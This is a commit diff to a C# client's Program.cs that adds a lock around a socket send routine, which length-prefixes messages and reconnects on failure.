Update Program.cs
This commit is contained in:
parent
45f086ed07
commit
247b310434
@ -232,24 +232,27 @@ namespace Client
|
||||
|
||||
public static void BeginSend(byte[] Msgs)
|
||||
{
|
||||
if (Client.Connected)
|
||||
lock (Client)
|
||||
{
|
||||
try
|
||||
if (Client.Connected)
|
||||
{
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
try
|
||||
{
|
||||
byte[] buffer = Msgs;
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
|
||||
MS.Write(buffersize, 0, buffersize.Length);
|
||||
MS.Write(buffer, 0, buffer.Length);
|
||||
using (MemoryStream MS = new MemoryStream())
|
||||
{
|
||||
byte[] buffer = Msgs;
|
||||
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
|
||||
MS.Write(buffersize, 0, buffersize.Length);
|
||||
MS.Write(buffer, 0, buffer.Length);
|
||||
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
||||
Client.Poll(-1, SelectMode.SelectWrite);
|
||||
Client.BeginSend(MS.ToArray(), 0, (int)(MS.Length), SocketFlags.None, EndSend, null);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user